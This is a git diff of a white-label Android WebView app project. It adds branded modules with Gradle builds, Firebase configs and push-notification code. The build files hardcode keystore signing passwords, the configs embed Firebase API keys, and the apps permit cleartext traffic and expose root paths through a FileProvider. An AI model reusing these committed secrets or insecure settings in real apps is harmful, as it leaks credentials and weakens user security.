@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -11,8 +11,8 @@ android {
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode 141
versionName "v1.4.1"
versionCode 150
versionName "v1.5.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
//包名
@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', '1XSGD')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://1xsgd.org/\""
//后台唯一ID
buildConfigField "int", "USERID", "255"
//状态栏文字颜色是否为白色

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', '2uob')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "274"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', '2UOB')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "212"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
2URUS/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
2URUS/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "2URUS"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.jshda.URUS"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#CBA241')
//app 名字
resValue('string', 'app_name', '2URUS')
buildConfigField "int", "USERID", "299"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "211711125387",
"project_id": "urus-37c9b",
"storage_bucket": "urus-37c9b.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:211711125387:android:b7c897b01d7c087bbaf18e",
"android_client_info": {
"package_name": "com.jshda.URUS"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyCAV8YPBoVbqkPv5FhZKZEPLNs4w0PjiLs"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
2URUS/justlet.jks Normal file

Binary file not shown.

32
2URUS/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 142 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
2URUS/telur33.jks Normal file

Binary file not shown.

2
7ERACLUB/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
7ERACLUB/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "7ERACLUB"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.company.ERACLUB"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#000000')
//app 名字
resValue('string', 'app_name', '7ERACLUB')
buildConfigField "int", "USERID", "313"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "786858950527",
"project_id": "eraclub-474b7",
"storage_bucket": "eraclub-474b7.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:786858950527:android:d5ccea12a5f38b5a4d644a",
"android_client_info": {
"package_name": "com.company.ERACLUB"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyCOn2URTy1Zx8oPYQhKw2DY5-NMByrOS6o"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
7ERACLUB/justlet.jks Normal file

Binary file not shown.

32
7ERACLUB/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
